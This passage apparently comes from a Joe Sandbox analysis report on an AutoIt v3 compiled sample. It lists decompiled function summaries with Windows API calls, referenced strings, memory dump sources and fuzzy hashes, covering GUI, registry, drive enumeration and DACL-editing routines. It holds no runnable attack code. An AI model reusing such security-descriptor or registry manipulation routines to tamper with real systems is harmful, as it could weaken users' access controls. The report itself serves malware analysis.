CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 009629C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 009629DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00962A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00962A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00962A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00962A77
GetStockObject.GDI32(00000011), ref: 00962A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00962A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00962A97

Strings

DISPLAY, xrefs: 0096295A
static, xrefs: 0096294F, 00962A71
msctls_progress32, xrefs: 00962A13
AutoIt v3, xrefs: 009628F8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 1811478c2344cb3871b3051033a91c8cc8af60ece5434984d0e9f2d5ec64b007
Instruction ID: 1ecb5c8e5d7fa4fdfb82a6d167e185347ea7558916943651a2e3247c88b34db4
Opcode Fuzzy Hash: 1811478c2344cb3871b3051033a91c8cc8af60ece5434984d0e9f2d5ec64b007
Instruction Fuzzy Hash: 6FB16DB2A10615AFEB14DF68DD89FAE7BB9FB49710F108118F915E7290D770AD40CBA0

Function 00954ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00954AED
GetDriveTypeW.KERNEL32(?,0097CB68,?,\\.\,0097CC08), ref: 00954BCA
SetErrorMode.KERNEL32(00000000,0097CB68,?,\\.\,0097CC08), ref: 00954D36

Strings

FileBackedVirtual, xrefs: 00954CEC
iSCSI, xrefs: 00954CC2
SATA, xrefs: 00954CD0
SAS, xrefs: 00954CC9
PhysicalDrive, xrefs: 00954B76
SSA, xrefs: 00954CA6
Network, xrefs: 00954C02
SCSI, xrefs: 00954C8A
Fixed, xrefs: 00954C09
RAID, xrefs: 00954CBB
MMC, xrefs: 00954CDE
RAMDisk, xrefs: 00954BF4
Virtual, xrefs: 00954CE5
\\.\, xrefs: 00954B3F
CDROM, xrefs: 00954BFB
ATA, xrefs: 00954C98
SSD, xrefs: 00954C4A
USB, xrefs: 00954CB4
Unknown, xrefs: 00954BED, 00954C83
ATAPI, xrefs: 00954C91
Fibre, xrefs: 00954CAD
1394, xrefs: 00954C9F
Removable, xrefs: 00954C10, 00954C15

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 95838d8fb93bf7b7d436cebadfa20dfb8d0268a370cea43ad095479ae26a8ec7
Instruction ID: 204e3f8e6ef38387dbed9f088b8bf57ba302712d44fe1c084d5ae10e089c6d83
Opcode Fuzzy Hash: 95838d8fb93bf7b7d436cebadfa20dfb8d0268a370cea43ad095479ae26a8ec7
Instruction Fuzzy Hash: 1A61D530605205ABCB54DF2AC981DAC77B4EBC634EB288415FC46EB291DB35EDC9DB81

Function 009773E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00977421
SetTextColor.GDI32(?,?), ref: 00977425
GetSysColorBrush.USER32(0000000F), ref: 0097743B
GetSysColor.USER32(0000000F), ref: 00977446
CreateSolidBrush.GDI32(?), ref: 0097744B
GetSysColor.USER32(00000011), ref: 00977463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00977471
SelectObject.GDI32(?,00000000), ref: 00977482
SetBkColor.GDI32(?,00000000), ref: 0097748B
SelectObject.GDI32(?,?), ref: 00977498
InflateRect.USER32(?,000000FF,000000FF), ref: 009774B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 009774CE
GetWindowLongW.USER32(00000000,000000F0), ref: 009774DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0097752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00977554
InflateRect.USER32(?,000000FD,000000FD), ref: 00977572
DrawFocusRect.USER32(?,?), ref: 0097757D
GetSysColor.USER32(00000011), ref: 0097758E
SetTextColor.GDI32(?,00000000), ref: 00977596
DrawTextW.USER32(?,009770F5,000000FF,?,00000000), ref: 009775A8
SelectObject.GDI32(?,?), ref: 009775BF
DeleteObject.GDI32(?), ref: 009775CA
SelectObject.GDI32(?,?), ref: 009775D0
DeleteObject.GDI32(?), ref: 009775D5
SetTextColor.GDI32(?,?), ref: 009775DB
SetBkColor.GDI32(?,?), ref: 009775E5

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 9d5ab9d981c0d680d16c9a0575947b1892335556fdb96c07a4d6e903f51a30e0
Instruction ID: 85ab2c2a4837e12d7e9ba3b448dd95d679a9328868464cd18542de8c308dcb5c
Opcode Fuzzy Hash: 9d5ab9d981c0d680d16c9a0575947b1892335556fdb96c07a4d6e903f51a30e0
Instruction Fuzzy Hash: 3B6153B3908218AFDF019FA4DC49AAEBF79EF08320F114525F919A72A1D7759980DF90

Function 00970FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00971128
GetDesktopWindow.USER32 ref: 0097113D
GetWindowRect.USER32(00000000), ref: 00971144
GetWindowLongW.USER32(?,000000F0), ref: 00971199
DestroyWindow.USER32(?), ref: 009711B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 009711ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0097120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0097121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00971232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00971245
IsWindowVisible.USER32(00000000), ref: 009712A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 009712BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 009712D0
GetWindowRect.USER32(00000000,?), ref: 009712E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0097130E
GetMonitorInfoW.USER32(00000000,?), ref: 00971328
CopyRect.USER32(?,?), ref: 0097133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 009713AA

Strings

(, xrefs: 0097131B
0, xrefs: 009710D3
tooltips_class32, xrefs: 009711E6

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: f6fdcbc2a51259700c4e62ce3b284bf4f2e34d08fb18e42b01a58d9aaf2677c3
Instruction ID: ab7c82010646c3e76c941db376efecdecccf7677c9ff78972cfd57d319dfe055
Opcode Fuzzy Hash: f6fdcbc2a51259700c4e62ce3b284bf4f2e34d08fb18e42b01a58d9aaf2677c3
Instruction Fuzzy Hash: 93B18A72608341AFD714DF69C884B6ABBE4FF85350F00891DF99D9B2A1DB71E844CB92

Function 00970241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 009702E5
_wcslen.LIBCMT ref: 0097031F
_wcslen.LIBCMT ref: 00970389
_wcslen.LIBCMT ref: 009703F1
_wcslen.LIBCMT ref: 00970475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 009704C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00970504

Part of subcall function 008FF9F2: _wcslen.LIBCMT ref: 008FF9FD

Part of subcall function 0094223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00942258
Part of subcall function 0094223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0094228A

Strings

DESELECT, xrefs: 0097059C
FINDITEM, xrefs: 00970627
SELECTINVERT, xrefs: 0097057E
ISSELECTED, xrefs: 009704DD
GETSUBITEMCOUNT, xrefs: 00970384, 0097039F
GETITEMCOUNT, xrefs: 00970316, 00970337
GETSELECTEDCOUNT, xrefs: 00970470, 0097048B
VIEWCHANGE, xrefs: 00970675
SELECT, xrefs: 00970548
GETSELECTED, xrefs: 009705E1
SELECTCLEAR, xrefs: 0097052D
SELECTALL, xrefs: 00970515
GETTEXT, xrefs: 009703EC, 00970407

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 85029b132d1f4f07d2486f13846e4191b0966923520ffa5033045bb7b5073ada
Instruction ID: 5a831366decc4d295f8f019f95284ca9776609730d5df2f41a1e56c8f889a2a2
Opcode Fuzzy Hash: 85029b132d1f4f07d2486f13846e4191b0966923520ffa5033045bb7b5073ada
Instruction Fuzzy Hash: 9DE19D32208241DFC714DF29C85192AB7E6FFC9714F14895CF99A9B2A1DB30ED45CB82

Function 008F8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008F8968
GetSystemMetrics.USER32(00000007), ref: 008F8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008F899B
GetSystemMetrics.USER32(00000008), ref: 008F89A3
GetSystemMetrics.USER32(00000004), ref: 008F89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 008F89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 008F89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 008F8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 008F8A3C
GetClientRect.USER32(00000000,000000FF), ref: 008F8A5A
GetStockObject.GDI32(00000011), ref: 008F8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 008F8A81

Part of subcall function 008F912D: GetCursorPos.USER32(?), ref: 008F9141
Part of subcall function 008F912D: ScreenToClient.USER32(00000000,?), ref: 008F915E
Part of subcall function 008F912D: GetAsyncKeyState.USER32(00000001), ref: 008F9183
Part of subcall function 008F912D: GetAsyncKeyState.USER32(00000002), ref: 008F919D

SetTimer.USER32(00000000,00000000,00000028,008F90FC), ref: 008F8AA8

Strings

AutoIt v3 GUI, xrefs: 008F8A20

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: f3a4d3e20d65a3b0dd649a1dd08acc72ea6d9200171b2a1985f3e50df35f9ae9
Instruction ID: e26433267ee8348d56717da6e329af477b32a26ab8367d929a9f56f5fac0102e
Opcode Fuzzy Hash: f3a4d3e20d65a3b0dd649a1dd08acc72ea6d9200171b2a1985f3e50df35f9ae9
Instruction Fuzzy Hash: 6BB19D72A14209EFDB14DFA8DD95BAE3BB5FB48314F104229FA15E7290DB70A940CF51

Function 00940D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009410F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00941114
Part of subcall function 009410F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941120
Part of subcall function 009410F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 0094112F
Part of subcall function 009410F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00940B9B,?,?,?), ref: 00941136
Part of subcall function 009410F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0094114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00940DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00940E29
GetLengthSid.ADVAPI32(?), ref: 00940E40
GetAce.ADVAPI32(?,00000000,?), ref: 00940E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00940E96
GetLengthSid.ADVAPI32(?), ref: 00940EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00940EB5
HeapAlloc.KERNEL32(00000000), ref: 00940EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00940EDD
CopySid.ADVAPI32(00000000), ref: 00940EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00940F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00940F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00940F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940F6E
HeapFree.KERNEL32(00000000), ref: 00940F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940F7E
HeapFree.KERNEL32(00000000), ref: 00940F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00940F8E
HeapFree.KERNEL32(00000000), ref: 00940F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00940FA1
HeapFree.KERNEL32(00000000), ref: 00940FA8

Part of subcall function 00941193: GetProcessHeap.KERNEL32(00000008,00940BB1,?,00000000,?,00940BB1,?), ref: 009411A1
Part of subcall function 00941193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00940BB1,?), ref: 009411A8
Part of subcall function 00941193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00940BB1,?), ref: 009411B7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 1705eaea50a276dce168911f91caad62fe75a973a9b5c6d3c5963000c9002510
Instruction ID: 020daf13fa3b4524148803b93d1cf63770c0ddc7a950a9c88c1348a881d17bde
Opcode Fuzzy Hash: 1705eaea50a276dce168911f91caad62fe75a973a9b5c6d3c5963000c9002510
Instruction Fuzzy Hash: 52716FB290420AABDF209FA4DC44FAEBBBCBF84300F044169FA19A7191D7359945CBA0

Function 0096C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0096C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0097CC08,00000000,?,00000000,?,?), ref: 0096C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0096C5A4
_wcslen.LIBCMT ref: 0096C5F4
_wcslen.LIBCMT ref: 0096C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0096C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0096C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0096C84D
RegCloseKey.ADVAPI32(?), ref: 0096C881
RegCloseKey.ADVAPI32(00000000), ref: 0096C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0096C960

Strings

REG_EXPAND_SZ, xrefs: 0096C5CD
REG_MULTI_SZ, xrefs: 0096C6F5
REG_SZ, xrefs: 0096C644
REG_BINARY, xrefs: 0096C913
REG_QWORD, xrefs: 0096C8C3
REG_DWORD, xrefs: 0096C804

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: d6f8f01bae2ba5404714d0d7c352002b169e69011a9710d8c01280ebe59463df
Instruction ID: c39bf6e6942ec007eb2f07c387782331859bca75327207e1c18b2389c0fd3979
Opcode Fuzzy Hash: d6f8f01bae2ba5404714d0d7c352002b169e69011a9710d8c01280ebe59463df
Instruction Fuzzy Hash: 921269756082019FDB14DF19C881A2AB7E5FF89714F04885CF99A9B3A2DB31FD41CB82

Function 0097091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 009709C6
_wcslen.LIBCMT ref: 00970A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00970A54
_wcslen.LIBCMT ref: 00970A8A
_wcslen.LIBCMT ref: 00970B06
_wcslen.LIBCMT ref: 00970B81

Part of subcall function 008FF9F2: _wcslen.LIBCMT ref: 008FF9FD

Part of subcall function 00942BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00942BFA

Strings

EXPAND, xrefs: 00970BF8
UNCHECK, xrefs: 00970D3E
COLLAPSE, xrefs: 00970B01, 00970B1C
SELECT, xrefs: 00970D11
GETSELECTED, xrefs: 00970C4E
CHECK, xrefs: 00970A85, 00970AA0
GETITEMCOUNT, xrefs: 00970C1E
ISCHECKED, xrefs: 00970CE1
GETTOTALCOUNT, xrefs: 009709F2, 00970A17
GETTEXT, xrefs: 00970C97
EXISTS, xrefs: 00970B7C, 00970B97

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 408b4dd5e23d4aca2928ae5eafcc5041dfdfff6f221cf8dbf896c3602537a658
Instruction ID: bb237c1122d6120cc16094bf79e7dfe023abfa73be446c902dae69fe19dec7e1
Opcode Fuzzy Hash: 408b4dd5e23d4aca2928ae5eafcc5041dfdfff6f221cf8dbf896c3602537a658
Instruction Fuzzy Hash: A9E16632208341CFCB24DF29C45192AB7E5FFD9714F148958F89A9B2A2D730EE45CB82

Function 0096C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0096B6AE,?,?), ref: 0096C9B5
_wcslen.LIBCMT ref: 0096C9F1
_wcslen.LIBCMT ref: 0096CA68
_wcslen.LIBCMT ref: 0096CA9E
_wcslen.LIBCMT ref: 0096CAF9
_wcslen.LIBCMT ref: 0096CB2F
_wcslen.LIBCMT ref: 0096CB7F

Strings

HKCC, xrefs: 0096CBAC
HKEY_LOCAL_MACHINE, xrefs: 0096CA62, 0096CA67
HKEY_CLASSES_ROOT, xrefs: 0096CAF3, 0096CAF8
HKEY_CURRENT_CONFIG, xrefs: 0096CB79, 0096CB7E
HKU, xrefs: 0096CBF0
HKCR, xrefs: 0096CB29, 0096CB2E
HKEY_USERS, xrefs: 0096CBDF
HKCU, xrefs: 0096CBCE
HKLM, xrefs: 0096CA98, 0096CA9D
HKEY_CURRENT_USER, xrefs: 0096CBBD

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 07cb7cb076872b9e5aa78e6f1e1b01786d2129a87a2798f39cb2769b28823ade
Instruction ID: 8c4459560493e6310f950bd8dbcae5e27c133d2ef2dd6cd236751bcfa094dc9b
Opcode Fuzzy Hash: 07cb7cb076872b9e5aa78e6f1e1b01786d2129a87a2798f39cb2769b28823ade
Instruction Fuzzy Hash: B57117B260016A8BCB20DEBCCD516BF3399AFA1754F150528FCE6DB284E635CD40D3A1

Function 0097833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0097835A
_wcslen.LIBCMT ref: 0097836E
_wcslen.LIBCMT ref: 00978391
_wcslen.LIBCMT ref: 009783B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 009783F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00975BF2), ref: 0097844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00978487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 009784CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00978501
FreeLibrary.KERNEL32(?), ref: 0097850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0097851D
DestroyIcon.USER32(?,?,?,?,?,00975BF2), ref: 0097852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00978549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00978555

Strings

.dll, xrefs: 009783AB
.icl, xrefs: 00978368
.exe, xrefs: 00978388

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

